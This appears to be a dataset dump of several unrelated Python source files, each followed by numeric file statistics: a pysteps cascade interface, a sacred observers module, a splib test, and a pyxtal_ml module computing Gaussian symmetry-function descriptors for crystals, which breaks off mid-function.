""" pysteps.cascade.interface ========================= Interface for the cascade module. .. autosummary:: :toctree: ../generated/ get_method """ from pysteps.cascade import decomposition, bandpass_filters _cascade_methods = dict() _cascade_methods['fft'] = (decomposition.decomposition_fft, decomposition.recompose_fft) _cascade_methods['gaussian'] = bandpass_filters.filter_gaussian _cascade_methods['uniform'] = bandpass_filters.filter_uniform def get_method(name): """ Return a callable function for the bandpass filter or cascade decomposition method corresponding to the given name. For the latter, two functions are returned: the first is for the decomposing and the second is for recomposing the cascade. Filter methods: +-------------------+------------------------------------------------------+ | Name | Description | +===================+======================================================+ | gaussian | implementation of bandpass filter using Gaussian | | | weights | +-------------------+------------------------------------------------------+ | uniform | implementation of a filter where all weights are set | | | to one | +-------------------+------------------------------------------------------+ Decomposition/recomposition methods: +-------------------+------------------------------------------------------+ | Name | Description | +===================+======================================================+ | fft | decomposition into multiple spatial scales based on | | | the fast Fourier Transform (FFT) and a set of | | | bandpass filters | +-------------------+------------------------------------------------------+ """ if isinstance(name, str): name = name.lower() else: raise TypeError("Only strings supported for the method's names.\n" + "Available names:" + str(list(_cascade_methods.keys()))) from None try: return _cascade_methods[name] except KeyError: raise ValueError("Unknown method {}\n".format(name) + "The available methods are:" + str(list(_cascade_methods.keys()))) from None
41.1875
88
0.426404
189
2,636
5.825397
0.455026
0.08901
0.038147
0.038147
0.059946
0.059946
0.059946
0
0
0
0
0
0.307284
2,636
63
89
41.84127
0.602957
0.636191
0
0.111111
1
0
0.149236
0
0
0
0
0
0
1
0.055556
false
0.166667
0.055556
0
0.166667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
46019ab8c70146e6ed56a6d0d6d6eae4aed9d536
740
py
Python
sacred/observers/__init__.py
michaelwand/sacred
46b8f96712f0cd5c2c26abedfdf44eebac6fe89c
[ "MIT" ]
null
null
null
sacred/observers/__init__.py
michaelwand/sacred
46b8f96712f0cd5c2c26abedfdf44eebac6fe89c
[ "MIT" ]
null
null
null
sacred/observers/__init__.py
michaelwand/sacred
46b8f96712f0cd5c2c26abedfdf44eebac6fe89c
[ "MIT" ]
1
2021-05-27T16:52:17.000Z
2021-05-27T16:52:17.000Z
#!/usr/bin/env python # coding=utf-8 from __future__ import division, print_function, unicode_literals from sacred.commandline_options import CommandLineOption from sacred.observers.base import RunObserver import sacred.optional as opt if opt.has_pymongo: from sacred.observers.mongo import MongoObserver else: MongoObserver = opt.MissingDependencyMock('pymongo') class MongoDbOption(CommandLineOption): """To use the MongoObserver you need to install pymongo first.""" arg = 'DB' @classmethod def apply(cls, args, run): raise ImportError('cannot use -m/--mongo_db flag: ' 'missing pymongo dependency') __all__ = ('RunObserver', 'MongoObserver')
27.407407
73
0.7
82
740
6.158537
0.695122
0.059406
0.075248
0
0
0
0
0
0
0
0
0.001721
0.214865
740
26
74
28.461538
0.86747
0.125676
0
0
0
0
0.140625
0
0
0
0
0
0
1
0.066667
false
0
0.4
0
0.6
0.066667
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
4611585a19905383fa0df13d4d276a639ed72040
775
py
Python
splib/test/splib_test.py
CloudResolvingClimateModeling/sp-coupler
20c3b88207f2357227d1c6fdaa9736d5b3e66fbd
[ "Apache-2.0" ]
null
null
null
splib/test/splib_test.py
CloudResolvingClimateModeling/sp-coupler
20c3b88207f2357227d1c6fdaa9736d5b3e66fbd
[ "Apache-2.0" ]
6
2018-07-05T08:10:35.000Z
2019-08-23T08:38:02.000Z
splib/test/splib_test.py
CloudResolvingClimateModeling/sp-coupler
20c3b88207f2357227d1c6fdaa9736d5b3e66fbd
[ "Apache-2.0" ]
2
2018-07-11T12:48:49.000Z
2021-01-12T20:02:35.000Z
import numpy import os import shapely.geometry import netCDF4 from amuse.community import units from splib import splib from splib import spdummy class Testsplib(object): def test_lwp_after_run(self): lesdt,steps = 10,5 config = {"gcm_type":"dummy","les_type":"dummy","les_dt":lesdt} splib.initialize(config,[shapely.geometry.Point(50.0,2.0)]) splib.run(steps) splib.finalize() filename = os.path.join(splib.output_dir,splib.output_name) output = netCDF4.Dataset(filename,'r') for group in output.groups: print output.variables.keys(),output[str(group) + "/lwp"].shape assert output[str(group) + "/lwp"].shape[0] == steps * splib.gcm_model.get_timestep().value_in(units.s) / lesdt
35.227273
123
0.673548
107
775
4.775701
0.560748
0.058708
0.058708
0.066536
0.086106
0
0
0
0
0
0
0.017628
0.194839
775
21
124
36.904762
0.801282
0
0
0
0
0
0.052903
0
0
0
0
0
0.052632
0
null
null
0
0.368421
null
null
0.052632
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
2
1caab9b1a83d43f4db7e674e45777832540afbe3
56,653
py
Python
pyxtal_ml/descriptors/gaussian.py
qzhu2017/ML-DOS
c58ebdfc77746175771af0862ed5737c4eaa3eec
[ "MIT" ]
11
2018-11-18T21:57:16.000Z
2021-07-20T12:23:28.000Z
pyxtal_ml/descriptors/gaussian.py
qzhu2017/ML-DOS
c58ebdfc77746175771af0862ed5737c4eaa3eec
[ "MIT" ]
34
2018-10-23T14:54:48.000Z
2019-03-26T18:07:09.000Z
pyxtal_ml/descriptors/gaussian.py
qzhu2017/ML-Materials
c58ebdfc77746175771af0862ed5737c4eaa3eec
[ "MIT" ]
3
2018-11-15T06:34:37.000Z
2019-01-04T02:04:25.000Z
import numpy as np import itertools ################################ Gaussian Class ############################### class Gaussian: """ Get the all the desired symmetry functions. Parameters ---------- crystal: object Pymatgen crystal structure object. symmetry_parameters: dict Dictionary of symmetry parameters. i.e. {'G2': {'eta': [0.05, 0.1]}} derivative: bool If True, calculate the derivatives of symmetry functions. """ def __init__(self, crystal, symmetry_parameters, derivative=False): self.crystal = crystal self.symmetry_parameters = symmetry_parameters self.G1_keywords = ['Rc', 'functional'] self.G2_keywords = ['eta', 'Rc', 'Rs', 'functional'] self.G3_keywords = ['kappa', 'Rc', 'functional'] self.G4_keywords = ['eta', 'lamBda', 'zeta', 'Rc', 'functional'] self.G5_keywords = ['eta', 'lamBda', 'zeta', 'Rc', 'functional'] self.G_types = [] # e.g. ['G2', 'G4'] # Setting up parameters for each of the symmetry function type. self.G1_parameters = None self.G2_parameters = None self.G3_parameters = None self.G4_parameters = None self.G5_parameters = None for key, value in self.symmetry_parameters.items(): if key == 'G1': self.G1_parameters = value self.G_types.append(key) elif key == 'G2': self.G2_parameters = value self.G_types.append(key) elif key == 'G3': self.G3_parameters = value self.G_types.append(key) elif key == 'G4': self.G4_parameters = value self.G_types.append(key) else: self.G5_parameters = value self.G_types.append(key) self.Gs = self.get_all_G(derivative) def calculate(self, G_type, symmetry_parameters, derivative): G, Gp = [], [] Rc = 6.5 functional = 'Cosine' Rs = 0. for key, value in symmetry_parameters.items(): if key == 'Rc': Rc = value elif key == 'functional': functional = value elif key == 'Rs': Rs = value elif key == 'eta': if isinstance(value, (list, np.ndarray)): etas = value else: etas = [value] elif key == 'kappa': if isinstance(value, (list, np.ndarray)): kappas = value else: kappas = [value] elif key == 'lamBda': if isinstance(value, (list, np.ndarray)): lamBdas = value else: lamBdas = [value] elif key == 'zeta': if isinstance(value, (list, np.ndarray)): zetas = value else: zetas = [value] n_core = self.crystal.num_sites e_types = self.crystal.symbol_set # element types, i.e. ['Na', 'Cl'] # element pair types, i.e. [('Na', 'Na'), ('Na', 'Cl'), ('Cl', 'Cl')] ep_types = list(itertools.combinations_with_replacement(e_types, 2)) if derivative: neighbors_info = self.crystal.get_all_neighbors(r=Rc, include_index=True, include_image=True) if G_type == 'G1': for i in range(n_core): g = [] for ele in e_types: g.append(G1(self.crystal, i=i, e_type=ele, functional=functional, Rc=Rc)) G.append(g) if derivative: for i in range(n_core): for q in range(3): gp = [] for ele in e_types: gp.append(G1_prime(self.crystal, i=i, e_type=ele, ni=neighbors_info[i], functional=functional, Rc=Rc, p=i, q=q)) Gp.append(gp) for n in neighbors_info[i]: if n[3] == (0.0, 0.0, 0.0): gp = [] for ele in e_types: ni = neighbors_info[i] gp.append(G1_prime(self.crystal, i=i, e_type=ele, ni=ni, functional=functional, Rc=Rc, p=i, q=q)) Gp.append(gp) elif G_type == 'G2': for i in range(n_core): g = [] for eta in etas: for ele in e_types: g.append(G2(self.crystal, i=i, e_type=ele, functional=functional, Rc=Rc, eta=eta, Rs=Rs)) G.append(g) if derivative: for i in range(n_core): for q in range(3): gp = [] for eta in etas: for ele in e_types: gp.append(G2_prime(self.crystal, i=i, e_type=ele, ni=neighbors_info[i], functional=functional, Rc=Rc, eta=eta, Rs=Rs, p=i, q=q)) Gp.append(gp) for n in neighbors_info[i]: if n[3] == (0.0, 0.0, 0.0): gp = [] for eta in etas: for ele in e_types: ni = neighbors_info[n[2]] prime = G2_prime(self.crystal, i=n[2], e_type=ele, ni=ni, functional=functional, Rc=Rc, eta=eta, Rs=Rs, p=i, q=q) gp.append(prime) Gp.append(gp) elif G_type == 'G3': for i in range(n_core): g = [] for kappa in kappas: for ele in e_types: g.append(G3(self.crystal, i=i, e_type=ele, functional=functional, Rc=Rc, k=kappa)) G.append(g) if derivative: for i in range(n_core): for q in range(3): gp = [] for kappa in kappas: for elem in e_types: gp.append(G3_prime(self.crystal, i=i, e_type=elem, ni=neighbors_info[i], functional=functional, Rc=Rc, k=kappa, p=i, q=q)) Gp.append(gp) for n in neighbors_info[i]: if n[3] == (0.0, 0.0, 0.0): gp = [] for kappa in kappas: for elem in e_types: ni = neighbors_info[n[2]] prime = G3_prime(self.crystal, i=n[2], e_type=elem, ni=ni, functional=functional, Rc=Rc, k=kappa, p=i, q=q) gp.append(prime) Gp.append(gp) elif G_type == 'G4': for i in range(n_core): g = [] for eta in etas: for zeta in zetas: for lb in lamBdas: for pele in ep_types: g.append(G4(self.crystal, i=i, ep_type=pele, functional=functional, Rc=Rc, eta=eta, lamBda=lb, zeta=zeta)) G.append(g) if derivative: for i in range(n_core): for q in range(3): gp = [] for eta in etas: for zeta in zetas: for lb in lamBdas: for pele in ep_types: ni = neighbors_info[i] f = functional gp.append(G4_prime(self.crystal, i=i, ep_type=pele, ni=ni, functional=f, Rc=Rc, eta=eta, lamBda=lb, zeta=zeta, p=i, q=q)) Gp.append(gp) for n in neighbors_info[i]: if n[3] == (0.0, 0.0, 0.0): gp = [] for eta in etas: for zeta in zetas: for lb in lamBdas: for pele in ep_types: ni = neighbors_info[n[2]] f = functional prime = G4_prime(self.crystal, i=n[2], ep_type=pele, ni=ni, functional=f, Rc=Rc, eta=eta, lamBda=lb, zeta=zeta, p=i, q=q) gp.append(prime) Gp.append(gp) elif G_type == 'G5': for i in range(n_core): g = [] for eta in etas: for zeta in zetas: for lb in lamBdas: for pele in ep_types: g.append(G5(self.crystal, i=i, ep_type=pele, functional=functional, Rc=Rc, eta=eta, lamBda=lb, zeta=zeta)) G.append(g) if derivative: for i in range(n_core): for q in range(3): gp = [] for eta in etas: for zeta in zetas: for lb in lamBdas: for pele in ep_types: ni = neighbors_info[i] f = functional gp.append(G5_prime(self.crystal, i=i, ep_type=pele, ni=ni, functional=f, Rc=Rc, eta=eta, lamBda=lb, zeta=zeta, p=i, q=q)) Gp.append(gp) for n in neighbors_info[i]: if n[3] == (0.0, 0.0, 0.0): gp = [] for eta in etas: for zeta in zetas: for lb in lamBdas: for pele in ep_types: ni = neighbors_info[n[2]] f = functional prime = G5_prime(self.crystal, i=n[2], ep_type=pele, ni=ni, functional=f, Rc=Rc, eta=eta, lamBda=lb, zeta=zeta, p=i, q=q) gp.append(prime) Gp.append(gp) return G, Gp def get_parameters(self, G_type, params): """ Function to get symmetry functions parameters: eta, zeta, etc. Returns ------- Return an array of arrays of parameters. """ # Need to finish G1 and G3. D = [] if G_type == 'G2': elements = self.crystal.symbol_set for key, value in params.items(): if key == 'eta': eta = value for e in eta: for elem in elements: d = {} d['type'] = 'G2' d['element'] = elem d['eta'] = e D.append(d) elif G_type == 'G4': elements = self.crystal.symbol_set elements = list(itertools.combinations_with_replacement(elements, 2)) for key, value in params.items(): if key == 'eta': eta = value elif key == 'zeta': zeta = value else: lamBda = value for e in eta: for z in zeta: for l in lamBda: for elem in elements: d = {} d['type'] = 'G4' d['elements'] = elem d['eta'] = e d['zeta'] = z d['lamBda'] = l D.append(d) elif G_type == 'G5': elements = self.crystal.symbol_set elements = list(itertools.combinations_with_replacement(elements, 2)) for key, value in params.items(): if key == 'eta': eta = value elif key == 'zeta': zeta = value else: lamBda = value for e in eta: for z in zeta: for l in lamBda: for elem in elements: d = {} d['type'] = 'G5' d['elements'] = elem d['eta'] = e d['zeta'] = z d['lamBda'] = l D.append(d) return D def get_all_G(self, derivative): Gs = [] if self.G1_parameters is not None: self._check_sanity(self.G1_parameters, self.G1_keywords) self.G1, self.G1_prime = self.calculate('G1', self.G1_parameters, derivative) G1s = np.vstack((self.G1, self.G1_prime)) Gs = G1s if self.G2_parameters is not None: self._check_sanity(self.G2_parameters, self.G2_keywords) self.G2, self.G2_prime = self.calculate('G2', self.G2_parameters, derivative) G2s = np.vstack((self.G2, self.G2_prime)) if Gs != []: Gs = np.hstack((Gs, G2s)) else: Gs = G2s if self.G3_parameters is not None: self._check_sanity(self.G3_parameters, self.G3_keywords) self.G3, self.G3_prime = self.calculate('G3', self.G3_parameters, derivative) G3s = np.vstack((self.G3, self.G3_prime)) if Gs != []: Gs = np.hstack((Gs, G3s)) else: Gs = G3s if self.G4_parameters is not None: self._check_sanity(self.G4_parameters, self.G4_keywords) self.G4, self.G4_prime = self.calculate('G4', self.G4_parameters, derivative) G4s = np.vstack((self.G4, self.G4_prime)) if Gs != []: Gs = np.hstack((Gs, G4s)) else: Gs = G4s if self.G5_parameters is not None: self._check_sanity(self.G5_parameters, self.G5_keywords) self.G5, self.G5_prime = self.calculate('G5', self.G5_parameters, derivative) G5s = np.vstack((self.G5, self.G5_prime)) if Gs != []: Gs = np.hstack((Gs, G5s)) else: Gs = G5s self.Gs = Gs return self.Gs def _check_sanity(self, G_parameters, G_keywords): """ Check if any of the parameters in the keywords. """ for key, value in G_parameters.items(): if key in G_keywords: pass else: raise NotImplementedError( f"Unknown parameter: {key}. "\ f"The available parameters are {self.G5_keywords}.") ############################# Auxiliary Functions ############################# def distance(arr): """ L2 norm for cartesian coordinates """ return np.linalg.norm(arr) def Kronecker(a,b): """ Kronecker delta function. Parameters ---------- a: int first index b: int second index Returns ------- Return value 0 if a and b are not equal; return value 1 if a and b are equal. """ if a == b: return 1 else: return 0 def dRab_dRpq(a, b, Ra, Rb, p, q): """ Calculate the derivative of the norm of position vector R_{ab} with respect to coordinate x, y, or z denoted by q of atom with index p. See Eq. 14c of the supplementary information of Khorshidi, Peterson, CPC(2016). Parameters ---------- a : int Index of the first atom. b : int Index of the second atom. Ra : float Position of the first atom. Rb : float Position of the second atom. p : int Index of the atom force is acting on. q : int Direction of force. x = 0, y = 1, and z = 2. Returns ------- the derivative of pair atoms w.r.t. one of the atom in q direction. """ Rab = np.linalg.norm(Rb - Ra) if p == a and a != b: # a != b is necessary for periodic systems dRab_dRpq = -(Rb[q] - Ra[q]) / Rab elif p == b and a != b: # a != b is necessary for periodic systems dRab_dRpq = (Rb[q] - Ra[q]) / Rab else: dRab_dRpq = 0 return dRab_dRpq def dRab_dRpq_vector(a, b, p, q): """ Calculate the derivative of the position vector R_{ab} with respect to coordinate x, y, or z denoted by q of atom with index p. See Eq. 14d of the supplementary information of Khorshidi, Peterson, CPC(2016). Parameters ---------- a : int Index of the first atom. b : int Index of the second atom. p : int Index of the atom force is acting on. q : int Direction of force. x = 0, y = 1, and z = 2. Returns ------- list of float The derivative of the position vector R_{ab} with respect to atom index p in direction of q. """ if (p == a) or (p == b): dRab_dRpq_vector = [None, None, None] c1 = Kronecker(p, b) - Kronecker(p, a) dRab_dRpq_vector[0] = c1 * Kronecker(0, q) dRab_dRpq_vector[1] = c1 * Kronecker(1, q) dRab_dRpq_vector[2] = c1 * Kronecker(2, q) return dRab_dRpq_vector else: return [0, 0, 0] def dcos_dRpq(a, b, c, Ra, Rb, Rc, p, q): """ Calculate the derivative of cosine dot product function with respect to the radius of an atom m in a particular direction l. Parameters ---------- a: int Index of the center atom. b: int Index of the first neighbor atom. c: int Index of the second neighbor atom. Ra: list of floats Position of the center atom. Rb: list of floats Position of the first atom. Rc: list of floats Postition of the second atom. p: int Atom that is experiencing force. q: int Direction of force. x = 0, y = 1, and z = 2. Returns ------- Derivative of cosine dot product w.r.t. the radius of an atom m in a particular direction l. """ Rab_vector = Rb - Ra Rac_vector = Rc - Ra Rab = np.linalg.norm(Rab_vector) Rac = np.linalg.norm(Rac_vector) f_term = 1 / (Rab * Rac) * \ np.dot(dRab_dRpq_vector(a, b, p, q), Rac_vector) s_term = 1 / (Rab * Rac) * \ np.dot(Rab_vector, dRab_dRpq_vector(a, c, p, q)) t_term = np.dot(Rab_vector, Rac_vector) / Rab ** 2 / Rac * \ dRab_dRpq(a, b, Ra, Rb, p, q) fo_term = np.dot(Rab_vector, Rac_vector) / Rab / Rac ** 2 * \ dRab_dRpq(a, c, Ra, Rc, p, q) return (f_term + s_term - t_term - fo_term) ############################## Cutoff Functional ############################## """ This script provides three cutoff functionals: 1. Cosine 2. Polynomial 3. Hyperbolic Tangent All cutoff functionals have an 'Rc' attribute which is the cutoff radius; The Rc is used to calculate the neighborhood attribute. The functional will return zero if the radius is beyond Rc. This script is adopted from AMP: https://bitbucket.org/andrewpeterson/amp/src/2865e75a199a?at=master """ class Cosine(object): """ Cutoff cosine functional suggested by Behler: Behler, J., & Parrinello, M. (2007). Generalized neural-network representation of high-dimensional potential-energy surfaces. Physical review letters, 98(14), 146401. (see eq. 3) Args: Rc(float): the cutoff radius. """ def __init__(self, Rc): self.Rc = Rc def __call__(self, Rij): """ Args: Rij(float): distance between pair atoms. Returns: The value (float) of the cutoff Cosine functional, will return zero if the radius is beyond the cutoff value. """ if Rij > self.Rc: return 0.0 else: return (0.5 * (np.cos(np.pi * Rij / self.Rc) + 1.)) def derivative(self, Rij): """ Calculate derivative (dF/dRij) of the Cosine functional with respect to Rij. Args: Rij(float): distance between pair atoms. Returns: The derivative (float) of the Cosine functional. """ if Rij > self.Rc: return 0.0 else: return (-0.5 * np.pi / self.Rc * np.sin(np.pi * Rij / self.Rc)) def todict(self): return {'name': 'Cosine', 'kwargs': {'Rc': self.Rc}} class Polynomial(object): """ Polynomial functional suggested by Khorshidi and Peterson: Khorshidi, A., & Peterson, A. A. (2016). Amp: A modular approach to machine learning in atomistic simulations. Computer Physics Communications, 207, 310-324. (see eq. 9) Args: gamma(float): the polynomial power. Rc(float): the cutoff radius. """ def __init__(self, Rc, gamma=4): self.gamma = gamma self.Rc = Rc def __call__(self, Rij): """ Args: Rij(float): distance between pair atoms. Returns: The value (float) of the cutoff functional. """ if Rij > self.Rc: return 0.0 else: value = 1. + self.gamma * (Rij / self.Rc) ** (self.gamma + 1) - \ (self.gamma + 1) * (Rij / self.Rc) ** self.gamma return value def derivative(self, Rij): """ Derivative (dF/dRij) of the Polynomial functional with respect to Rij. Args: Rij(float): distance between pair atoms. Returns: The derivative (float) of the cutoff functional. """ if Rij > self.Rc: return 0.0 else: ratio = Rij / self.Rc value = (self.gamma * (self.gamma + 1) / self.Rc) * \ (ratio ** self.gamma - ratio ** (self.gamma - 1)) return value def todict(self): return {'name': 'Polynomial', 'kwargs': {'Rc': self.Rc, 'gamma': self.gamma}} class TangentH(object): """ Cutoff hyperbolic Tangent functional suggested by Behler: Behler, J. (2015). Constructing high‐dimensional neural network potentials: A tutorial review. International Journal of Quantum Chemistry, 115(16), 1032-1050. (see eq. 7) Args: Rc(float): the cutoff radius. """ def __init__(self, Rc): self.Rc = Rc def __call__(self, Rij): """ Args: Rij(float): distance between pair atoms. Returns: The value (float) of the cutoff hyperbolic tangent functional, will return zero if the radius is beyond the cutoff value. """ if Rij > self.Rc: return 0.0 else: return ((np.tanh(1.0 - (Rij / self.Rc))) ** 3) def derivative(self, Rij): """ Calculate derivative (dF/dRij) of the hyperbolic Tangent functional with respect to Rij. Args: Rij(float): distance between pair atoms. Returns: The derivative (float) of the hyberbolic tangent functional. """ if Rij > self.Rc: return 0.0 else: return (-3.0 / self.Rc * ((np.tanh(1.0 - (Rij / self.Rc))) ** 2 - \ (np.tanh(1.0 - (Rij / self.Rc))) ** 4)) def todict(self): return {'name': 'TanH', 'kwargs': {'Rc': self.Rc}} ############################# Symmetry Functions ############################## def G1(crystal, i, e_type, functional='Cosine', Rc=6.5): """ Calculate G1 symmetry function. The most basic radial symmetry function using only the cutoff functional, the sum of the cutoff functionals for all neighboring atoms j inside the cutoff radius, Rc. One can refer to equation 8 in: Behler, J. (2015). Constructing high‐dimensional neural network potentials: A tutorial review. International Journal of Quantum Chemistry, 115(16), 1032-1050. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. e_type: str The allowed element presents in the symmetry function calculation. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. Returns ------- G1 : float G1 symmetry value. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get core atoms information Ri = crystal.cart_coords[i] # Get neighbors information neighbors = crystal.get_all_neighbors(Rc) G1 = 0 for j in range(len(neighbors[i])): if e_type == neighbors[i][j][0].species_string: Rj = neighbors[i][j][0].coords Rij = np.linalg.norm(Ri - Rj) G1 += func(Rij) return G1 def G1_prime(crystal, i, e_type, ni, functional='Cosine', Rc=6.5, p=1, q=0): """ Calculate the derivative of the G1 symmetry function. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. e_types: str The allowed element presents in the symmetry function calculation. ni: array of neighbors information Neighbors information of the core element. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. p: int The atom that the force is acting on. q: int Direction of force. Returns ------- G1p: float The derivative of G1 symmetry value. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get core atoms information Ri = crystal.cart_coords[i] G1p = 0 for count in range(len(ni)): symbol = ni[count][0].species_string Rj = ni[count][0]._coords j = ni[count][2] if e_type == symbol: Rij = np.linalg.norm(Rj - Ri) G1p += func.derivative(Rij) * \ dRab_dRpq(i, j, Ri, Rj, p, q) return G1p def G2(crystal, i, e_type, functional='Cosine', Rc=6.5, eta=2, Rs=0.0): """ Calculate G2 symmetry function. G2 function is a better choice to describe the radial feature of atoms in a crystal structure within the cutoff radius. One can refer to equation 9 in: Behler, J. (2015). Constructing high‐dimensional neural network potentials: A tutorial review. International Journal of Quantum Chemistry, 115(16), 1032-1050. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. e_type: str The allowed element presents in the symmetry function calculation. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. eta: float The parameter of G2 symmetry function. Rs: float Determine the shift from the center of the Gaussian. Default value is zero. Returns ------- G2: float G2 symmetry value. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get positions of core atoms Ri = crystal.cart_coords[i] # Their neighbors within the cutoff radius neighbors = crystal.get_all_neighbors(Rc) G2 = 0 for j in range(len(neighbors[i])): if e_type == neighbors[i][j][0].species_string: Rj = neighbors[i][j][0]._coords Rij = np.linalg.norm(Ri - Rj) G2 += np.exp(-eta * Rij ** 2. / Rc ** 2.) * func(Rij) return G2 def G2_prime(crystal, i, e_type, ni, functional='Cosine', Rc=6.5, eta=2, Rs=0.0, p=1, q=0): """ Calculate the derivative of the G2 symmetry function. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. e_types: str The allowed element presents in the symmetry function calculation. ni: array of neighbors information Neighbors information of the core element. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. eta: float The parameter of G2 symmetry function. Rs: float Determine the shift from the center of the Gaussian. Default value is zero. p: int The atom that the force is acting on. q: int Direction of force. Returns ------- G2p: float The derivative of G2 symmetry value. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get positions of core atoms Ri = crystal.cart_coords[i] G2p = 0 for count in range(len(ni)): symbol = ni[count][0].species_string Rj = ni[count][0]._coords j = ni[count][2] if e_type == symbol: dRabdRpq = dRab_dRpq(i, j, Ri, Rj, p, q) if dRabdRpq != 0: Rij = np.linalg.norm(Rj - Ri) G2p += np.exp(-eta * (Rij - Rs)**2. / Rc**2.) * \ dRabdRpq * \ (-2. * eta * (Rij - Rs) * func(Rij) / Rc**2. + func.derivative(Rij)) return G2p def G3(crystal, i, e_type, functional='Cosine', Rc=6.5, k=10): """ Calculate G3 symmetry function. G3 function is a damped cosine functions with a period length described by K. For example, a Fourier series expansion a suitable description of the radial atomic environment can be obtained by comibning several G3 functions with different values for K. Note: due to the distances of atoms, G3 can cancel each other out depending on the positive and negative value. One can refer to equation 7 in: Behler, J. (2011). Atom-centered symmetry functions for constructing high-dimensional neural network potentials. The Journal of chemical physics, 134(7), 074106. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. e_type: str The allowed element presents in the symmetry function calculation. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. k: float The Kappa value as G3 parameter. Returns ------- G3: float G3 symmetry value. """ if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get positions of core atoms Ri = crystal.cart_coords[i] # Get neighbors information neighbors = crystal.get_all_neighbors(Rc) G3 = 0 for j in range(len(neighbors[i])): if e_type == neighbors[i][j][0].species_string: Rj = neighbors[i][j][0]._coords Rij = np.linalg.norm(Ri - Rj) G3 += np.cos(k * Rij / Rc) * func(Rij) return G3 def G3_prime(crystal, i, e_type, ni, functional='Cosine', Rc=6.5, k=10, p=1, q=0): """ Calculate derivative of the G3 symmetry function. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. e_types: str The allowed element presents in the symmetry function calculation. ni: array of neighbors information Neighbors information of the core element. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. k: float The Kappa value as G3 parameter. p: int The atom that the force is acting on. q: int Direction of force. Returns ------- G3p : float The derivative of G3 symmetry value. """ if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get positions of core atoms Ri = crystal.cart_coords[i] G3p = 0 for count in range(len(ni)): Rj = ni[count][0]._coords symbol = ni[count][0].species_string j = ni[count][2] if e_type == symbol: dRabdRpq = dRab_dRpq(i, j, Ri, Rj, p, q) if dRabdRpq != 0: Rij = np.linalg.norm(Rj - Ri) G3p += (np.cos(k * Rij) * func.derivative(Rij) - \ k * np.sin(k * Rij) * func(Rij)) * \ dRab_dRpq(i, j, Ri, Rj, p, q) return G3p def G4(crystal, i, ep_type, functional='Cosine', Rc=6.5, eta=2, lamBda=1, zeta=1): """ Calculate G4 symmetry function. G4 function is an angular function utilizing the cosine funtion of the angle theta_ijk centered at atom i. One can refer to equation 8 in: Behler, J. (2011). Atom-centered symmetry functions for constructing high-dimensional neural network potentials. The Journal of chemical physics, 134(7), 074106. Parameters ---------- crystal: object Pymatgen crystal structure object. i: int The index of core element. ep_types: str The allowed element pair presents in the symmetry function calculation. functional: str Cutoff functional. Default is Cosine functional. Rc: float Cutoff radius which the symmetry function will be calculated. Default value is 6.5 as suggested by Behler. eta: float The parameter of G4 symmetry function. lamBda: float LamBda take values from -1 to +1 shifting the maxima of the cosine function to 0 to 180 degree. zeta: float The angular resolution. Zeta with high values give a narrower range of the nonzero G4 values. Different zeta values is preferrable for distribution of angles centered at each reference atom. In some sense, zeta is illustrated as the eta value. Returns ------- G4: float G4 symmetry value. """ # Cutoff functional if functional == 'Cosine': func = Cosine(Rc=Rc) elif functional == 'Polynomial': func = Polynomial(Rc=Rc) elif functional == 'TangentH': func = TangentH(Rc=Rc) else: raise NotImplementedError('Unknown cutoff functional: %s' %functional) # Get core atoms information Ri = crystal.cart_coords[i] # Get neighbors information neighbors = crystal.get_all_neighbors(Rc) G4 = 0.0 for j in range(len(neighbors[i])-1): for k in range(j+1, len(neighbors[i])): n1 = neighbors[i][j][0].species_string n2 = neighbors[i][k][0].species_string if (ep_type[0] == n1 and ep_type[1] == n2) or \ (ep_type[1] == n1 and ep_type[0] == n2): Rj = neighbors[i][j][0].coords Rk = 